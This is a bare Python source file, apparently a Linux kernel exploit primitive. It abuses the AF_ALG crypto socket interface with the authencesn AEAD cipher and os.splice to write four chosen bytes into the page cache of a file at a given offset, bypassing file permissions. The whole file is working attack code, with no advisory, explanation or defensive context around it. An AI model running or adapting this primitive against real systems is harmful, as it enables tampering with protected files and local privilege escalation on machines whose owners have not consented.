import os
import socket
# AF_ALG constants
AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_AUTHSIZE = 5
ALG_SET_OP = 3
ALG_SET_IV = 2
ALG_SET_AEAD_ASSOCLEN = 4
ALG_OP_DECRYPT = 0
MSG_MORE = 0x8000
# authencesn(hmac(sha256), cbc(aes)) key layout
AEAD_KEY = bytes.fromhex('0800010000000010') + b'\x00' * 32
AUTH_TAG_LEN = 4
IV_LEN = 16
ASSOC_LEN = 8 # seqno_hi (4 bytes) + seqno_lo (4 bytes)
def write_4bytes(fd, target_offset, chunk):
"""
Write 4 bytes into the page cache of fd at target_offset.
"""
alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, AEAD_KEY)
alg_sock.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, None, AUTH_TAG_LEN)
op_sock, _ = alg_sock.accept()
splice_len = target_offset + 4
# AAD = seqno_hi (ignored) || seqno_lo (chunk)
aad = b'\x00' * 4 + chunk
ancdata = [
(SOL_ALG, ALG_SET_OP, ALG_OP_DECRYPT.to_bytes(4, 'little')),
(SOL_ALG, ALG_SET_IV, IV_LEN.to_bytes(4, 'little') + b'\x00' * IV_LEN),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, ASSOC_LEN.to_bytes(4, 'little')),
]
op_sock.sendmsg([aad], ancdata, MSG_MORE)
pipe_r, pipe_w = os.pipe()
os.splice(fd, pipe_w, splice_len, offset_src=0)
os.splice(pipe_r, op_sock.fileno(), splice_len)
try:
# Trigger decrypt and the seqno_lo write into page cache
op_sock.recv(ASSOC_LEN + target_offset)
except OSError:
pass
os.close(pipe_r)
os.close(pipe_w)
op_sock.close()
alg_sock.close()